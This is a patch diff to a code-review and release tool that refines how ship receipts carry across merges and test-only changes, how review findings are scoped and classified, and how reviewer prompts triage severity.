// Evidence for the record, never the decision: a slow range-diff is reported unavailable rather than waited for.
|
||||
const rangeRaw = spawnSync('git', ['range-diff', '--no-color', `${fromBase}..${from}`, `${headBase}..${head}`], { cwd: repoRoot, encoding: 'utf8', timeout: 15_000, maxBuffer: 64 * 1024 * 1024 });
|
||||
const rangeDiff = rangeRaw.status === 0 ? (rangeRaw.stdout.trim().split('\n').slice(0, 20).join('\n') || '(empty: identical ranges)') : `unavailable: ${(rangeRaw.stderr ?? '').trim().split('\n')[0] || (rangeRaw.signal ? `range-diff killed by ${rangeRaw.signal} after 15 s` : 'range-diff failed')}`;
|
||||
const plan = planCarry({ from, head, changed, productPatchId: { from: productFrom, head: productHead }, testPatchId: { from: testFrom, head: testHead }, changedProduct, mergeCommits: Number(mergeCommits) || 0, rangeDiff });
|
||||
if (!plan.ok) return refused(plan.code, plan.message);
|
||||
const carried = carryReceipt(receipt, head, plan.carry);
|
||||
const errors = validateReceipt(carried);
|
||||
@@ -397,7 +417,7 @@ function cmdCarry(rest: string[], json: boolean): number {
|
||||
if (!edit.ok) return incomplete(`gh pr edit failed: ${edit.err}; the receipt was not carried`);
|
||||
}
|
||||
process.stdout.write(`CARRY: carried from ${from.slice(0, 12)} to ${head.slice(0, 12)} (${plan.carry.reason})\n`);
|
||||
return writeRunRecord({ receipt: carried, head, pr, source, repoRoot, out: flag(rest, '--out'), json, line, incomplete, extra: { carried_from: from, carry_reason: plan.carry.reason } });
|
||||
return writeRunRecord({ receipt: carried, head, pr, source, repoRoot, out: flag(rest, '--out'), json, line, incomplete, extra: { carried_from: carried.carry!.from, carry_reason: carried.carry!.reason } });
|
||||
}
|
||||
|
||||
function sinceDate(repo: string, since: string): string | undefined {
|
||||
|
||||
+31
-10
@@ -12,9 +12,26 @@ instead of restating it. A one-line crew rule is enough:
|
||||
|
||||
A finding is **blocking** when it is a CRITICAL defect: it would fail a test,
|
||||
break production, or lose data or secrets. Everything else is below the floor:
|
||||
an advisory, an informational item, a test gap, a wording or naming note, a
|
||||
style or simplification suggestion. Below-floor findings are reported, never
|
||||
fixed after pass 1 of a ship, and never earn another review pass.
|
||||
an advisory, an informational item, a test finding (category `testing`: a gap,
|
||||
a weak or flaky test), a wording or naming note, a style or simplification
|
||||
suggestion. Below-floor findings are reported, never fixed after pass 1 of a
|
||||
ship, and never earn another review pass.
|
||||
|
||||
Three words cover every finding, and the loop budgets by them: a **blocker** is
|
||||
the intended case gone wrong (the floor above); a **should** is a real bug a
|
||||
caller will hit inside the intended case (fixed when it is in the diff on pass
|
||||
1, deferred when it is not); a **nit** is the rest (a named note). Two stop
|
||||
rules follow: if a pass's fixes grew the diff past what the request needs, cut
|
||||
that growth first; and the cap approves nothing, so a standing blocker is
|
||||
reported, never waved through.
|
||||
|
||||
Before a merged finding counts, the parent applies lead judgment
|
||||
(`review/sections/review-army.md`, `ship/sections/review-army.md`, stage 4 of
|
||||
the merge): a reviewer whose whole return is nits found nothing; a defect names
|
||||
the call site or input that reaches it, or it is a note; structure for a case
|
||||
nothing takes is advisory; "I would have done it differently" is not a finding;
|
||||
a finding that assumes a rule the repository documents otherwise is dropped with
|
||||
the pointer. Independent agreement between reviewers is the strongest signal.
|
||||
|
||||
Every reviewer prompt gstack dispatches (the core checklist, each specialist,
|
||||
the Red Team, the outside voice) carries this definition: CRITICAL means the
|
||||
@@ -38,12 +55,15 @@ incomplete coverage, which blocks until the reviewer is rerun.
|
||||
finding in code the PR did not change is `defer`: `gstack-review-scope defer`
|
||||
files it as a GitHub issue (one per finding, reused across reruns through an
|
||||
`<!-- gstack-deferred-finding: <fingerprint> -->` marker; `unfiled (<reason>)`
|
||||
when `gh` is unavailable) and the PR body lists it under `## Deferred findings`.
|
||||
when `gh` is unavailable or its search fails, still exit 0) and the PR body
|
||||
lists it under `## Deferred findings`.
|
||||
Below-floor findings outside the diff are `note`, listed under `## Review notes`.
|
||||
2. **Pass 2 and later review only the range since the previous pass.** Each pass
|
||||
saves its head; the next pass diffs `RANGE_BASE..HEAD` for every reviewer and
|
||||
classifies with `--range-base`. Only a blocking finding in that range or in the
|
||||
diff is `fix`; every below-floor finding is a `note`.
|
||||
saves its head; the next pass diffs `RANGE_BASE..HEAD` for every reviewer (the
|
||||
gate scan and QA probes keep the whole candidate) and classifies with
|
||||
`--range-base`. Only a blocking finding in that range or in the diff is `fix`;
|
||||
every below-floor finding is a `note`. A finding the diff causes in code it did
|
||||
not change names the changed line in `cause`, and the locus follows it.
|
||||
3. **Three passes is the cap.** A pass that applies no edits is the exit: the
|
||||
PR ships with its deferred and noted items named in the body. A blocking
|
||||
finding still in `fix` scope on pass 3 stops the run and names the finding
|
||||
@@ -86,9 +106,10 @@ counters, because the reviewed product diff is unchanged.
|
||||
| `all` | everything | fixed in this PR | the whole diff, every finding | 3 fix cycles |
|
||||
|
||||
`diff-plus-blocking` is the fallback for a repository where deferred issues pile
|
||||
up; `all` is the loop as it ran before 1.91.249.0. A value other than `frozen`
|
||||
needs `min_gstack_version` at 1.91.249.0 or later so an older gstack refuses the
|
||||
file by name instead of ignoring the key.
|
||||
up; `all` is the loop as it ran before the key existed. A value other than
|
||||
`frozen` needs `min_gstack_version` at or past the release that added the key
|
||||
(`REVIEW_SCOPE_KEY_VERSION` in `lib/ship-policy.ts`) so an older gstack refuses
|
||||
the file by name instead of ignoring the key.
|
||||
|
||||
## Where this is enforced
|
||||
|
||||
|
||||
+22
-13
@@ -577,7 +577,8 @@ written by the pr-body section of `/ship` after the body is composed.
|
||||
<a id="review-scope"></a>
|
||||
## `review_scope`: how the review loop converges
|
||||
|
||||
Since 1.91.249.0. `/ship` Step 9 runs the pre-landing review in passes and fixes
|
||||
Since the release that added `review_scope` (`REVIEW_SCOPE_KEY_VERSION` in
|
||||
`lib/ship-policy.ts`). `/ship` Step 9 runs the pre-landing review in passes and fixes
|
||||
what it finds between them ([review-policy.md](review-policy.md) is the canonical
|
||||
statement). Under `review_scope: frozen` (the default) the loop converges by
|
||||
construction:
|
||||
@@ -598,7 +599,8 @@ construction:
|
||||
`## Review notes` in the PR body.
|
||||
2. **Pass 2 and later review the range since the previous pass.** Each pass saves
|
||||
`PASS_HEAD`; the next pass sets `RANGE_BASE` to it, diffs `RANGE_BASE..HEAD`
|
||||
for every reviewer (specialists, Red Team, the outside voice) and classifies
|
||||
for every reviewer (the core checklist, specialists, Red Team, the outside
|
||||
voice; the gate scan and QA probes keep the whole candidate) and classifies
|
||||
with `--range-base <sha>`. Only a blocking finding in that range (`locus:
|
||||
fix-range`) or in the diff is `scope: fix`; nothing below the floor earns a
|
||||
pass. `NO FINDINGS` is the expected reviewer result for a clean range, never a
|
||||
@@ -631,16 +633,23 @@ line, and the codes a refusal ends with are
|
||||
<a id="receipt-carry"></a>
|
||||
## Carrying a receipt across a base merge or a test-only fix
|
||||
|
||||
Since 1.91.249.0. A `/ship` receipt names the head it reviewed, so a conflict-only
|
||||
merge of the base or a test-only fix used to invalidate it and cost a full
|
||||
re-run on identical product code. `gstack-ship-receipt carry --pr <n> --base <base>`
|
||||
(or `--body <file>`) moves the receipt to HEAD when the receipt's head is an
|
||||
ancestor of HEAD and `git patch-id` of the product diff against the base is the
|
||||
same at both heads. Product means every changed path that is not a test
|
||||
(`test/**`, `**/*.test.*`, `**/*.spec.*`, `spec/**`, `e2e/**` and the other
|
||||
`CARRY_TEST_GLOBS` in `lib/ship-receipt.ts`) or release metadata (`VERSION`,
|
||||
`CHANGELOG.md`, `package.json`, the lockfiles, `agents-digest/**`); a base
|
||||
merge contributes no product change of its own. The carried receipt records
|
||||
Since the release that added `review_scope`. A `/ship` receipt names the head it
|
||||
reviewed, so a conflict-only merge of the base or a test-only fix used to
|
||||
invalidate it and cost a full re-run on identical product code.
|
||||
`gstack-ship-receipt carry --pr <n> --base <base>` (or `--body <file>`) moves
|
||||
the receipt to HEAD when the working tree is clean, the receipt's head is an
|
||||
ancestor of HEAD and `git patch-id --verbatim` of the product diff against the
|
||||
base is the same at both heads (verbatim: whitespace counts, hunk line numbers
|
||||
do not). Product means every changed path that is not test code (`test/**`,
|
||||
`spec/**`, `e2e/**`, `**/*.test.<code ext>`, `**/*.spec.<code ext>` and the
|
||||
other `CARRY_TEST_GLOBS` in `lib/ship-receipt.ts`; an `openapi.spec.yaml` is
|
||||
product) or release metadata (`CHANGELOG.md`, `agents-digest/**`, the paths the
|
||||
policy's `stamp_files`, `stamp_paths`, `release_outputs` and `changelog` name,
|
||||
and `VERSION` or `package.json` only while the change is a version stamp and
|
||||
nothing else: a dependency, a script or a new key makes them product). Lockfiles
|
||||
are product unless the policy names them. A base merge contributes no product
|
||||
change of its own. A receipt carried twice keeps the reviewed head as
|
||||
`carry.from` and adds up the merges and paths. The carried receipt records
|
||||
`carry: { from, reason, product_patch_id, changed_paths, merge_commits,
|
||||
range_diff, covers, reruns }` with the `git range-diff` evidence, prints
|
||||
`CARRY: carried from <old> to <new> (<reason>)` and the `GSTACK_RESULT:
|
||||
@@ -651,7 +660,7 @@ skill=ship status=complete` line, and its summary line ends with
|
||||
A changed product path, or a product patch-id that differs, is
|
||||
[`RECEIPT_CARRY_PRODUCT_CHANGED`](troubleshooting.md#receipt-carry-product-changed)
|
||||
(exit 3; the refusal names the paths), and a receipt whose head is not in HEAD's
|
||||
history (a rebase or force-push) is
|
||||
history (a rebase or force-push) or a working tree with uncommitted changes is
|
||||
[`RECEIPT_CARRY_REFUSED`](troubleshooting.md#receipt-carry-refused): run `/ship`
|
||||
on the new head. `/ship` Step 1 runs the carry check itself when the branch has
|
||||
an open PR, and a `CARRY: carried` result ends that run with the receipt bound
|
||||
|
||||
+22
-10
@@ -26,6 +26,8 @@ export const HUNK_CONTEXT_LINES = 3;
|
||||
export interface ScopeFinding {
|
||||
fingerprint?: string; path?: string; line?: number; severity?: string; category?: string; summary?: string;
|
||||
problem?: string; fix?: string; specialist?: string; advisory?: boolean; test_stub?: string;
|
||||
/** The changed line that causes a defect reported elsewhere (a broken caller, a consumer of a removed export); the locus follows it. */
|
||||
cause?: { path?: string; line?: number };
|
||||
[key: string]: unknown;
|
||||
}
|
||||
export interface ScopedFinding extends ScopeFinding { locus: Locus; kind: Kind; blocking: boolean; scope: ScopeAction }
|
||||
@@ -72,11 +74,17 @@ function inHunks(hunks: HunkMap, path: string, line: number | undefined, context
|
||||
return ranges.some(([a, b]) => line >= a - context && line <= b + context);
|
||||
}
|
||||
|
||||
/** Where a finding sits: in the range since the previous pass, in the branch diff, or in code the PR did not change. */
|
||||
/**
|
||||
* Where a finding sits: in the range since the previous pass, in the branch
|
||||
* diff, or in code the PR did not change. A `cause` anchor wins over the
|
||||
* reported path, so a defect the diff causes in an unchanged caller is the
|
||||
* diff's.
|
||||
*/
|
||||
export function locusOf(finding: ScopeFinding, diffHunks: HunkMap, rangeHunks: HunkMap | null, context = HUNK_CONTEXT_LINES): Locus {
|
||||
const path = typeof finding.path === 'string' ? finding.path : fingerprintPath(finding.fingerprint);
|
||||
const anchor = finding.cause && typeof finding.cause === 'object' && typeof finding.cause.path === 'string' ? finding.cause : finding;
|
||||
const path = typeof anchor.path === 'string' ? anchor.path : fingerprintPath(finding.fingerprint);
|
||||
if (!path) return 'outside';
|
||||
const line = typeof finding.line === 'number' ? finding.line : fingerprintLine(finding.fingerprint);
|
||||
const line = typeof anchor.line === 'number' ? anchor.line : anchor === finding ? fingerprintLine(finding.fingerprint) : undefined;
|
||||
if (rangeHunks && inHunks(rangeHunks, path, line, context)) return 'fix-range';
|
||||
if (inHunks(diffHunks, path, line, context)) return 'diff';
|
||||
return 'outside';
|
||||
@@ -93,11 +101,13 @@ function fingerprintLine(fp: unknown): number | undefined {
|
||||
return Number.isInteger(n) && n > 0 ? n : undefined;
|
||||
}
|
||||
|
||||
/** A finding's kind: optional advice, a missing test, or a defect. */
|
||||
/** The categories a reviewer uses for a test finding; `testing` is what the Testing specialist's schema emits. */
|
||||
export const TEST_GAP_CATEGORIES: readonly string[] = ['testing', 'tests', 'test-gap', 'test-coverage', 'coverage', 'missing-test', 'untested'];
|
||||
|
||||
/** A finding's kind: optional advice, a test finding (a gap, a weak or flaky test), or a product defect. */
|
||||
export function kindOf(finding: ScopeFinding): Kind {
|
||||
if (finding.advisory === true) return 'advisory';
|
||||
const category = String(finding.category ?? '').toLowerCase();
|
||||
if (/^(test-gap|test-coverage|coverage|missing-test|untested)$/.test(category)) return 'test-gap';
|
||||
if (TEST_GAP_CATEGORIES.includes(String(finding.category ?? '').toLowerCase())) return 'test-gap';
|
||||
return 'defect';
|
||||
}
|
||||
|
||||
@@ -124,9 +134,11 @@ export function scopeFindings(findings: readonly ScopeFinding[], input: ScopeInp
|
||||
const kind = kindOf(finding);
|
||||
const blocking = isBlocking(finding, kind);
|
||||
const locus = locusOf(finding, input.diffHunks, input.pass > 1 ? input.rangeHunks : null, input.context);
|
||||
// A blocking finding nobody could place cannot be filed against a path; the diff's author resolves it now.
|
||||
const placed = typeof finding.path === 'string' || fingerprintPath(finding.fingerprint) !== undefined;
|
||||
let scope: ScopeAction;
|
||||
if (input.policy === 'all') scope = 'fix';
|
||||
else if (locus === 'outside') scope = !blocking ? 'note' : input.policy === 'diff-plus-blocking' ? 'fix' : 'defer';
|
||||
else if (locus === 'outside') scope = !blocking ? 'note' : input.policy === 'diff-plus-blocking' || !placed ? 'fix' : 'defer';
|
||||
else if (input.pass <= 1) scope = 'fix';
|
||||
else scope = blocking ? 'fix' : 'note';
|
||||
return { ...finding, locus, kind, blocking, scope };
|
||||
@@ -187,11 +199,11 @@ export function renderDeferredIssue(f: ScopedFinding, ctx: DeferContext): { titl
|
||||
|
||||
export interface DeferredRecord { fingerprint: string; path: string; severity: string; summary: string; issue: number | null; url?: string; reason?: string }
|
||||
|
||||
/** The PR-body section for deferred findings: references, never closing keywords, so a merge closes nothing. */
|
||||
export function renderDeferredSection(deferred: readonly DeferredRecord[], noted: readonly ScopeFinding[] = [], policy: ReviewScopePolicy = 'frozen'): string {
|
||||
/** The PR-body section for deferred findings: references, never closing keywords, so a merge closes nothing. Only `frozen` defers. */
|
||||
export function renderDeferredSection(deferred: readonly DeferredRecord[], noted: readonly ScopeFinding[] = []): string {
|
||||
const out: string[] = [];
|
||||
if (deferred.length) {
|
||||
out.push('## Deferred findings', '', `Blocking findings in code this PR did not change (review scope: ${policy}); filed as issues and not closed by this PR.`, '');
|
||||
out.push('## Deferred findings', '', 'Blocking findings in code this PR did not change (review scope: frozen); filed as issues and not closed by this PR.', '');
|
||||
for (const d of deferred) {
|
||||
const ref = d.issue ? `#${d.issue}` : `unfiled${d.reason ? ` (${oneLine(d.reason)})` : ''}`;
|
||||
out.push(`- Deferred: ${ref} — ${oneLine(d.severity)} \`${oneLine(d.path)}\` ${oneLine(d.summary)}`);
|
||||
|
||||
+40
-17
@@ -10,6 +10,7 @@ import { ARTIFACT_SCHEMAS, checkSchema, type ShipReceipt, type ValidationError }
|
||||
import { approvalSummary } from './approval-citations';
|
||||
import { renderIssueLines } from './issue-links';
|
||||
import { matchesAny } from './ship-policy';
|
||||
import { stampFileKind, versionStampOnly } from './pregate/stamp-only';
|
||||
|
||||
export const RECEIPT_FENCE = 'gstack-ship-receipt';
|
||||
const KEY_ORDER: Array<keyof ShipReceipt> = [
|
||||
@@ -130,25 +131,25 @@ export function receiptSummaryLine(r: ShipReceipt): string {
|
||||
/**
|
||||
* Paths whose change never invalidates a /ship verdict on its own: tests (the
|
||||
* reviewed product code is what the verdict covers; CI at the new head reruns
|
||||
* them) and release metadata (stamps, lockfiles, the agents digest). A repo
|
||||
* extends the lists through its ship policy (`stamp_files`, `stamp_paths`,
|
||||
* `release_outputs`, `changelog`).
|
||||
* them, unreviewed) and release metadata (the version stamp, the changelog, the
|
||||
* agents digest). A repo extends the lists through its ship policy
|
||||
* (`stamp_files`, `stamp_paths`, `release_outputs`, `changelog`); lockfiles are
|
||||
* product unless the policy names them, because a dependency change is a
|
||||
* product change. The test globs name code extensions only: an API contract
|
||||
* such as `openapi.spec.yaml` is product.
|
||||
*/
|
||||
const TEST_CODE_EXTENSIONS = ['ts', 'tsx', 'js', 'jsx', 'mjs', 'cjs', 'mts', 'cts', 'rb', 'py', 'go', 'rs', 'java', 'kt', 'swift', 'dart', 'php', 'cs'];
|
||||
export const CARRY_TEST_GLOBS: readonly string[] = [
|
||||
'test/**', 'tests/**', 'spec/**', '__tests__/**', 'e2e/**', 'cypress/**', '**/__tests__/**', '**/*.test.*', '**/*.spec.*',
|
||||
'test/**', 'tests/**', 'spec/**', '__tests__/**', 'e2e/**', 'cypress/**', '**/__tests__/**',
|
||||
...TEST_CODE_EXTENSIONS.flatMap(ext => [`**/*.test.${ext}`, `**/*.spec.${ext}`]),
|
||||
'**/*_test.go', '**/test_*.py', '**/*_test.py', '**/*_spec.rb', '**/*Test.java', '**/*Tests.swift',
|
||||
];
|
||||
export const CARRY_METADATA_GLOBS: readonly string[] = [
|
||||
'VERSION', 'CHANGELOG.md', 'package.json', 'package-lock.json', 'bun.lock', 'bun.lockb', 'yarn.lock', 'pnpm-lock.yaml',
|
||||
'Cargo.lock', 'Gemfile.lock', 'agents-digest/**',
|
||||
];
|
||||
export const CARRY_METADATA_GLOBS: readonly string[] = ['VERSION', 'CHANGELOG.md', 'package.json', 'agents-digest/**'];
|
||||
|
||||
export type CarryClass = 'product' | 'test' | 'metadata';
|
||||
export interface CarryPlanInput {
|
||||
/** The reviewed head the receipt names. */
|
||||
from: string; head: string;
|
||||
/** Merge base of origin/<base> with `from` and with `head`. */
|
||||
fromBase: string; headBase: string;
|
||||
/** Paths changed between from and head, classified. */
|
||||
changed: Array<{ path: string; class: CarryClass }>;
|
||||
/** Product patch-ids at both heads (empty string for no product diff). */
|
||||
@@ -162,9 +163,20 @@ export interface CarryPlanInput {
|
||||
export interface CarryRecord { from: string; reason: string; product_patch_id: string; changed_paths: string[]; merge_commits: number; range_diff: string; covers: string[]; reruns: string[] }
|
||||
export type CarryPlan = { ok: true; carry: CarryRecord } | { ok: false; code: 'RECEIPT_CARRY_PRODUCT_CHANGED' | 'RECEIPT_CARRY_REFUSED'; message: string };
|
||||
|
||||
export function classifyCarryPath(rel: string, extra: { tests?: readonly string[]; metadata?: readonly string[] } = {}): CarryClass {
|
||||
if (matchesAny([...CARRY_METADATA_GLOBS, ...(extra.metadata ?? [])], rel)) return 'metadata';
|
||||
if (matchesAny([...CARRY_TEST_GLOBS, ...(extra.tests ?? [])], rel)) return 'test';
|
||||
/**
|
||||
* One changed path's carry class. A default-metadata manifest (`package.json`,
|
||||
* `VERSION`) is metadata only while its from..head change is a version stamp
|
||||
* and nothing else (`versionStampOnly`): a dependency, a script or a new key is
|
||||
* product. `change` carries the file's text at both heads; without it the
|
||||
* default lists decide (the paths a policy names are the repo's own call).
|
||||
*/
|
||||
export function classifyCarryPath(rel: string, extra: { metadata?: readonly string[] } = {}, change?: { before: string | null; after: string | null }): CarryClass {
|
||||
if (matchesAny(extra.metadata ?? [], rel)) return 'metadata';
|
||||
if (matchesAny(CARRY_METADATA_GLOBS, rel)) {
|
||||
if (change && stampFileKind(rel) && !versionStampOnly(rel, change.before, change.after).stampOnly) return 'product';
|
||||
return 'metadata';
|
||||
}
|
||||
if (matchesAny(CARRY_TEST_GLOBS, rel)) return 'test';
|
||||
return 'product';
|
||||
}
|
||||
|
||||
@@ -190,18 +202,29 @@ export function planCarry(input: CarryPlanInput): CarryPlan {
|
||||
carry: {
|
||||
from: input.from, reason: reasons.join(' + '), product_patch_id: input.productPatchId.head || 'none',
|
||||
changed_paths: input.changed.slice(0, 50).map(c => `${c.class}:${c.path}`), merge_commits: input.mergeCommits, range_diff: input.rangeDiff,
|
||||
covers: ['pre-landing review', 'adversarial review', 'gate integrity', 'documentation audit'], reruns: ['CI at head (gstack-ship-queue ready requires it)'],
|
||||
covers: ['pre-landing review', 'adversarial review', 'gate integrity', 'documentation audit'],
|
||||
reruns: ['CI at head (gstack-ship-queue ready requires it); test and helper code changed since the reviewed head runs there unreviewed'],
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
/** The carried receipt: the same evidence, bound to the new head, with the carry recorded. */
|
||||
/**
|
||||
* The carried receipt: the same evidence, bound to the new head, with the carry
|
||||
* recorded. A receipt carried before keeps the reviewed head as `from` and adds
|
||||
* this hop's merges and paths, so the record always names the head a review saw.
|
||||
*/
|
||||
export function carryReceipt(receipt: ShipReceipt, head: string, carry: CarryRecord): ShipReceipt {
|
||||
return orderReceipt({ ...receipt, head, carry });
|
||||
const prior = receipt.carry;
|
||||
const merged: CarryRecord = !prior ? carry : {
|
||||
...carry, from: prior.from, reason: prior.reason === carry.reason ? carry.reason : `${prior.reason} + ${carry.reason}`,
|
||||
merge_commits: prior.merge_commits + carry.merge_commits,
|
||||
changed_paths: [...prior.changed_paths, ...carry.changed_paths.filter(p => !prior.changed_paths.includes(p))].slice(0, 50),
|
||||
};
|
||||
return orderReceipt({ ...receipt, head, carry: merged });
|
||||
}
|
||||
|
||||
/** The loop counters the factory scorecard reads (passes, blocking_found, deferred), as `write --review-loop` records them. */
|
||||
export interface ReviewLoopReceipt { passes: number; blocking_found: number; deferred: number; noted?: number; fixed?: number; scope?: string }
|
||||
export type ReviewLoopReceipt = NonNullable<ShipReceipt['review_loop']>;
|
||||
export function parseReviewLoop(value: unknown): ReviewLoopReceipt | undefined {
|
||||
if (!value || typeof value !== 'object' || Array.isArray(value)) return undefined;
|
||||
const v = value as Record<string, unknown>;
|
||||
|
||||
@@ -206,6 +206,12 @@ the fix, it's ASK.
|
||||
**Critical findings default toward ASK** (they're inherently riskier).
|
||||
**Informational findings default toward AUTO-FIX** (they're more mechanical).
|
||||
|
||||
**Severity glossary** (the words /ship's review loop budgets by; docs/review-policy.md):
|
||||
- **blocker**: the intended case is wrong. A test would fail, production breaks, or data or secrets are lost. CRITICAL; fixed on every pass, or named to the owner at the cap.
|
||||
- **should**: a real bug a caller will hit, inside the intended case. Fixed when it is in the diff on pass 1; filed and deferred when it is in code the PR did not change.
|
||||
- **nit**: everything else, including style, naming, wording and "I would have done it differently". A named note in the PR body; never a reason for another pass.
|
||||
Two stop rules follow from the budget: if a pass's fixes grew the diff past what the request needs, cut that growth first; and reaching the cap approves nothing, so a standing blocker is reported, not waved through.
|
||||
|
||||
---
|
||||
|
||||
## Suppressions — DO NOT flag these
|
||||
|
||||
@@ -105,8 +105,9 @@ Every other specialist, including Testing, reads the full diff with fixtures.
|
||||
{\"severity\":\"CRITICAL|INFORMATIONAL\",\"confidence\":N,\"path\":\"file\",\"line\":N,\"category\":\"category\",\"summary\":\"description\",\"fix\":\"recommended fix\",\"fingerprint\":\"path:line:category\",\"specialist\":\"name\"}
|
||||
|
||||
Required fields: severity, confidence, path, category, summary, specialist.
|
||||
Optional: line, fix, fingerprint, evidence, test_stub, advisory, evidence_paths, helper_target.
|
||||
Optional: line, fix, fingerprint, evidence, test_stub, advisory, evidence_paths, helper_target, cause.
|
||||
CRITICAL means a test that would fail, a production break, or a security or data-loss defect; everything else is INFORMATIONAL.
|
||||
A defect the diff causes but that shows elsewhere (a caller broken by a changed signature, a consumer of a removed export) keeps the victim as `path` and names the changed line in `cause`: {\"cause\":{\"path\":\"file\",\"line\":N}}. Without it the finding reads as pre-existing code.
|
||||
|
||||
Leave extraction advice to the core shared-code check; report real defects in duplicated code independently, keep advisory metadata on structural advice, and never call a demonstrated defect advisory because a shared helper could fix it.
|
||||
|
||||
@@ -170,7 +171,25 @@ the highest confidence and all source names. Confirmation by distinct specialist
|
||||
Core findings never earn a specialist confidence boost. Preserve `advisory`,
|
||||
`evidence_paths` and `helper_target` through every merge.
|
||||
|
||||
#### 4. Apply specialist confidence gates
|
||||
#### 4. Lead judgment
|
||||
|
||||
Reviewers fill the space they are given. Before any merged finding counts, the
|
||||
parent reads each one and drops or downgrades it on these grounds, saying so:
|
||||
- **Nit gravity.** When a reviewer's whole return is style, naming and preference,
|
||||
the code is probably fine; write that down and count nothing from it as a defect.
|
||||
- **Hypothetical, not actual.** A defect names the call site or input that reaches
|
||||
it. One that does not is a note until someone traces it.
|
||||
- **Structure for a case that does not exist.** Advice to abstract, generalize or
|
||||
guard a path nothing takes is advisory, never a defect.
|
||||
- **A different design is not a defect.** "I would have done it differently" with
|
||||
no failing case behind it is dropped.
|
||||
- **Missing context.** A finding that assumes a rule the repository documents
|
||||
otherwise is dropped with the pointer.
|
||||
Agreement between reviewers that did not see each other's output is the strongest
|
||||
signal; the `MULTI-SPECIALIST CONFIRMED` boost above records it. A reviewer that
|
||||
returned `NO FINDINGS` was right until a traced defect says otherwise.
|
||||
|
||||
#### 5. Apply specialist confidence gates
|
||||
|
||||
- Confidence 7+: show normally in the findings output
|
||||
- Confidence 5-6: show with caveat "Medium confidence — verify this is actually an issue"
|
||||
@@ -179,14 +198,14 @@ Core findings never earn a specialist confidence boost. Preserve `advisory`,
|
||||
|
||||
Core findings keep the core Confidence Calibration gates.
|
||||
|
||||
#### 5. Score and present specialists
|
||||
#### 6. Score and present specialists
|
||||
|
||||
Only specialist findings enter this header and `quality_score`; core findings do not.
|
||||
Use the merged NON-advisory specialist findings for both counts and score;
|
||||
the header's N is X + Y, so advisory findings never add to it:
|
||||
`quality_score = max(0, 10 - (critical_count * 2 + informational_count * 0.5))`
|
||||
Cap at 10 and retain for the review-log entry in Step 5.8. These are not final unresolved-defect totals.
|
||||
Print only this block: the stage 6 activity object and `test_stub` bodies are log and Fix-First data.
|
||||
Print only this block: the stage 7 activity object and `test_stub` bodies are log and Fix-First data.
|
||||
Validated `"advisory": true` findings from any source are excluded from score,
|
||||
header, unresolved-defect totals and clean-status blockers. Show them separately;
|
||||
they remain ASK-only, never auto-applied. Real defects follow normal Fix-First.
|
||||
@@ -213,7 +232,7 @@ PR Quality Score: X/10
|
||||
|
||||
Core shared-code savings never enter this footer; explain any overlap once in the core proposal.
|
||||
|
||||
#### 6. Save specialist activity
|
||||
#### 7. Save specialist activity
|
||||
|
||||
Compile a `specialists` object for the review-log entry in Step 5.8.
|
||||
For DIFF_LINES < 50, keep `specialists: {}`; do not manufacture per-specialist scope records. Otherwise record each considered specialist (testing, maintainability, security, performance, data-migration, api-contract, design, simplification, state-machines, red-team):
|
||||
@@ -227,7 +246,7 @@ Advisory findings COUNT in the stats `findings` field, not its defect counts.
|
||||
Include Design despite its different checklist. Preserve dispatch/failure status:
|
||||
zero returned findings from a failed attempt is not a clean review.
|
||||
|
||||
#### 7. Hand off to Fix-First
|
||||
#### 8. Hand off to Fix-First
|
||||
|
||||
Send these findings to Step 5 Fix-First alongside the CRITICAL pass findings from Step 4.
|
||||
Consolidate equivalent shared-code advice under the core proposal, retaining all
|
||||
@@ -257,7 +276,7 @@ concerns, integration boundary issues, and failure modes that specialist checkli
|
||||
don't cover."
|
||||
|
||||
Tag Red Team findings `"specialist":"red-team"`.
|
||||
Add them to the original specialist outputs and rerun stages 1–7 of Step 4.6
|
||||
Add them to the original specialist outputs and rerun stages 1–8 of Step 4.6
|
||||
before Step 5 Fix-First; do not boost or count the earlier findings twice.
|
||||
|
||||
If the Red Team returns NO FINDINGS, note: "Red Team review: no additional issues found."
|
||||
|
||||
@@ -124,8 +124,9 @@ Every other specialist, including Testing, reads the full diff with fixtures.
|
||||
{\\"severity\\":\\"CRITICAL|INFORMATIONAL\\",\\"confidence\\":N,\\"path\\":\\"file\\",\\"line\\":N,\\"category\\":\\"category\\",\\"summary\\":\\"description\\",\\"fix\\":\\"recommended fix\\",\\"fingerprint\\":\\"path:line:category\\",\\"specialist\\":\\"name\\"}
|
||||
|
||||
Required fields: severity, confidence, path, category, summary, specialist.
|
||||
Optional: line, fix, fingerprint, evidence, test_stub, advisory, evidence_paths, helper_target.
|
||||
Optional: line, fix, fingerprint, evidence, test_stub, advisory, evidence_paths, helper_target, cause.
|
||||
CRITICAL means a test that would fail, a production break, or a security or data-loss defect; everything else is INFORMATIONAL.
|
||||
A defect the diff causes but that shows elsewhere (a caller broken by a changed signature, a consumer of a removed export) keeps the victim as \`path\` and names the changed line in \`cause\`: {\\"cause\\":{\\"path\\":\\"file\\",\\"line\\":N}}. Without it the finding reads as pre-existing code.
|
||||
|
||||
Leave extraction advice to the core shared-code check; report real defects in duplicated code independently, keep advisory metadata on structural advice, and never call a demonstrated defect advisory because a shared helper could fix it.
|
||||
|
||||
@@ -194,7 +195,25 @@ the highest confidence and all source names. Confirmation by distinct specialist
|
||||
Core findings never earn a specialist confidence boost. Preserve \`advisory\`,
|
||||
\`evidence_paths\` and \`helper_target\` through every merge.
|
||||
|
||||
#### 4. Apply specialist confidence gates
|
||||
#### 4. Lead judgment
|
||||
|
||||
Reviewers fill the space they are given. Before any merged finding counts, the
|
||||
parent reads each one and drops or downgrades it on these grounds, saying so:
|
||||
- **Nit gravity.** When a reviewer's whole return is style, naming and preference,
|
||||
the code is probably fine; write that down and count nothing from it as a defect.
|
||||
- **Hypothetical, not actual.** A defect names the call site or input that reaches
|
||||
it. One that does not is a note until someone traces it.
|
||||
- **Structure for a case that does not exist.** Advice to abstract, generalize or
|
||||
guard a path nothing takes is advisory, never a defect.
|
||||
- **A different design is not a defect.** "I would have done it differently" with
|
||||
no failing case behind it is dropped.
|
||||
- **Missing context.** A finding that assumes a rule the repository documents
|
||||
otherwise is dropped with the pointer.
|
||||
Agreement between reviewers that did not see each other's output is the strongest
|
||||
signal; the \`MULTI-SPECIALIST CONFIRMED\` boost above records it. A reviewer that
|
||||
returned \`NO FINDINGS\` was right until a traced defect says otherwise.
|
||||
|
||||
#### 5. Apply specialist confidence gates
|
||||
|
||||
- Confidence 7+: show normally in the findings output
|
||||
